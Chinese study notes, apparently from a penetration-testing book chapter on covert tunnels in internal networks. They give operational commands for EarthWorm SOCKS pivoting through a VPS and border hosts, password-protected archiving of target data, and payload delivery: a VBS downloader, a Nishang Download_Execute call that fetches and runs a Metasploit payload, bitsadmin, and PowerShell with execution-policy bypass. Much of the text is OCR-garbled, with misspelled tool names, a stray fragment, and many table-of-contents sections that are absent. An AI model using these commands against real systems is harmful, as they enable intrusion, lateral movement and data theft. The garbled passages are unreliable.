内网安全攻防:渗透测试指南——第3章 隐藏通信隧道技术
第三章——隐藏通信隧道技术
目录
1.网络层隧道
1.pingtunnel
1.在web边界服务器上下载并运行ptunnel
2.在vps上运行ptunnel
3.在win7电脑上远程连接vps的1080端口
2.icmpsh
3.防御ICMP隧道攻击的方法
2.传输层隧道
1.lcx端口转发
2. nc
3.powercat
1.nc正向连接powercat
2.nc反向连接powercat
3.通过powercat返回powershell
4.Powercat文件传输
5.powercat生成Payload(躲避杀软)
6.Powercat - DNS协议(DNSCAT)
7.Powercat作为跳板
3.应用层协议
1.本地转发
2.远程转发(无边界设备,服务器kali连通外网)
3.动态转发
HTTP/HTTPS协议
DNS协议
dnscat2
1.启动服务端
2.在目标系统运行客户端
3.脚本加载运行dnscat2-powershell
4.反弹shell
iodine
1.vps服务端
2.linux客户端
3.windows客户端
DNS隧道攻击的防御
SOCKS代理
1. EarthWorm
1.正向SOCKS5服务器
2.反弹SOCKS v5服务器
3.二级网络环境a
4.二级网络环境b
压缩
1.RAR
7zip
上传和下载
1.利用FTP协议上传
2.利用VBS上传
3.利用nishang上传
4.bitadmin下载
5.powershell下载
nc
-
A.安装LINUX:
-
sudo yum install nc.x86_64
-
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
-
-
WINDOwsS:
-
Nc:https://joncraton.org/files/nc111nt.zip
-
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip
监听-个服 务端口,当有新的连接请求
出现时,会先从SOCKS协议中解析出目标的URL和目标端口,再执行lex的具体功能。
1. EarthWorm
EarthWorm(EW )是一套便携式的网络工具,具有SOCKSs服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透。EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统( Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。6种命令格式(ssocksd、 rcsocks. rssocks. Icx_ slave、 Icx_ listen、 Icx_ tran)

1.正向SOCKS5服务器
- ┌──(root??kali)-[/var/www/html/release]
- └─# ./ew_linux_x64 -s ssocksd -l 1090 #适用于一个有外网IP的情况,此处使用边界服务器
2.反弹SOCKS v5服务器
- vps: C:\>ew_win32.exe -s rcsocks -l 1008 -e 888
- 内网机器: ew -s rssocks -d vpsip -e 888
3.二级网络环境a
- 内网中的机器B: ew -s ssocksd -l 888
- 边界服务器A: ew -s lcx_tran -l 1080 -f A主机公网ip -g 888 #将1080端口收到的代理请求转发给内网中的机器B的888端口
4.二级网络环境b
- A主机无公网ip,也无法访问内网。B主机可以访问内网,无法访问外网
- VPS: ew -s lcx_listen -l 1080 -e 888 #在公网vps中添加转接隧道,将1080端口接收到的请求转发给888端口
- 主机B: ew -s ssocked -l 999 #ssocked方式启动999端口的socks代理
- 主机A: ew -s lcx_slave -d vpsip -e 888 -f A主机IP -g 999 #在A主机上利用lcx_slave方式,将vps的888端口和B主机的999端口连接起来
2.reGeorg
rcGcorg 是reDuh的升级版,主要功能是把内网服务器的端口通过HTPHITS隧道转发到本机,形成一个回路。reCorg 可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。rcGcorg 利用WstSll建立一个SOCKS代理进行内网穿透,服务必须支持ASPX、PHP、JSP中的一种。
3. sSocks
sSocks是个SOCKS代理工具套装,可用来开启soCKs代理服务。sokes支持SOCKS5验证,支持IPv6和UDP,并提供反向soCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)。
4. SocksCap64
SocksCap64是一款在 Windows环境中相当好用的全局代理软件,SocksCap64可以使Windows应用程序通过SOCKS 代理服务器来访问网络,而不需要对这些应用SOKS 代理的应用程序,也可以通过SoksCap64程序进行任何修改。即使是那些本身不支持实现代理访问
5. Proxifier
Provifer也是一软非常好用的全局代理软件,Posifir 提供了跨平台的转发和代理功能,适用于Windows、Linux、 MacOS平台
6. ProxyChains
ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器
压缩
1.RAR
- -a: 添加要压缩的文件
- -k: 锁定压缩文件
- -s: 生成存档文件(这样可以提高压缩比)。
- -P: 指定压缩密码。
- -r: 递归压缩,包括子目录。
- -x: 指定要排除的文件。
- -v: 分卷打包,在打包大文件时用处很大。
- -ep: 从名称中排除路径。
- -epl: 从名称中排除基本目录。
- -m0: 存储,添加到压缩文件时不压缩文件。
- -ml: 最快,使用最快压缩方式(低压缩比)。
- -m2: 较快,使用快速压缩方式。
- -m3: 标准,使用标准压缩方式(默认)。
- -m: 较好,使用较强压缩方式(速度较慢)。
- -m5: 最好,使用最强压缩方式(最好的压缩方式,但速度最慢)。
1.以RAR格式压缩/解压
将E:\webs\ 目录下的所有内容(包括子目录)打包为1.rar,放到E:\webs\目录
- Rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs
- Rar.exe e E:\webs\1.rar
- e:解压到当前目录下
- x:以绝对路径解压
- zip同理
2.分卷压缩/解压
- Rar.exe a -m0 -r -v20m E:\test.rar E:\API
- 分卷压缩E盘API目录下的所有文件及文件夹(-r使用递归压缩)设置每个分卷为20MB,结构为test.part1.rar...
- Rar.exe x E:\test.part01.rar E:\test #解压
7zip
- -r 递归压缩
- -o 指定输出目录
- -p 指定密码
- -v 分卷压缩
- a 添加压缩文件
1.普通压缩/解压方式
- 7z.exe a -r -p12345 E:\webs\1.7z E:\webs #压缩
- 7z.exe x -p12345 E:\webs\1.7z -oE:\X
2.分卷压缩
- 7z.exe -r -vlm -padmin a E:\test.7z E:\API
- 7z.exe x -padmin E:\test.7z.001 -oE:\x
上传和下载
1.利用FTP协议上传
- 本地或者vps搭建ftp服务器
- 常用的FTP命令列举如下,
- open<服务器地址>:连接服务器
- cd<目录名>:进入指定目录。
- lcd<文件夹路径>:定位本地文件夹(上传文件的位置或者下载文件的本地位置)。
- type:查看当前的传输方式(默认为ASCII码传输)。
- ascil:设置传输方式为ASCII码传输(传输TXT等格式的文件)。
- binary:设置传输方式为二进制传输(传输EXE文件,以及图片、视音频文件等)。
- close:结束与服务器的FTP会话。
- quit:结束与服务器的FTP会话并退出FTP环境。
- put<文件名> [newnamel:上传。"newname"为保存时的新名字,若不指定将以原名保存。
- send<文件名> [newname]:上传。"newname为保存时的新名字.若不指定将以原名保存。
- get<文件名> [newname]:下载。newname为保存时的新名字,若不指定将以原名保存。
- mget filename filename..]:.下载多个文件。mget 命令支持空格和“?”两个通配符,例如“mget.mp3”表示下载FTP服务器当前目录下所有扩展名为“mp3”的文件
2.利用VBS上传
- echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
- echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
- echo Post.Open "GET","ip/文件",0 >>download.vbs
- echo Post.Send() >>download.vbs
- echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
- echo aGet.Mode = 3 >>download.vbs
- echo aGet.Type = 1 >>download.vbs
- echo aGet.Open() >>download.vbs
- echo aGet.Write(Post.responseBody) >>download.vbs
- echo aGet.SaveToFile " 下载到的位置",2 >>download.vbs
- 最后
- Cscript download.vbs
3.利用nishang上传
Download Excule是Nishang中的下载执行脚本,常用于下载文本文件并将其转换为EXE文件。使用Nishang上传文件的原理是:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download Exccute脚本下载文本文件并将其转换为EXE文件。
在这里,需要使用echo命令将Nishang PowersShell脚本的内容上传到目标服务器中,并将执行以下命令,利用Nishang中的exetolext.psl脚本将由Metasploit生成的msf.exe修改为文本文件msf.txt
.\ ExetoText c: msf.exe c: msf.txt
接着,通过echo命令,先将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。最,输人如下命令,调用Dowlad Excule脚本下载并执行该文本文件。
Download_Execute http://192.168.0.11/msf.txt
4.bitadmin下载
bitsadmin /transfer 111 ip/file 下载到的路径 #win7以上版本
5.powershell下载
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('ip/文件','下载文件路径');


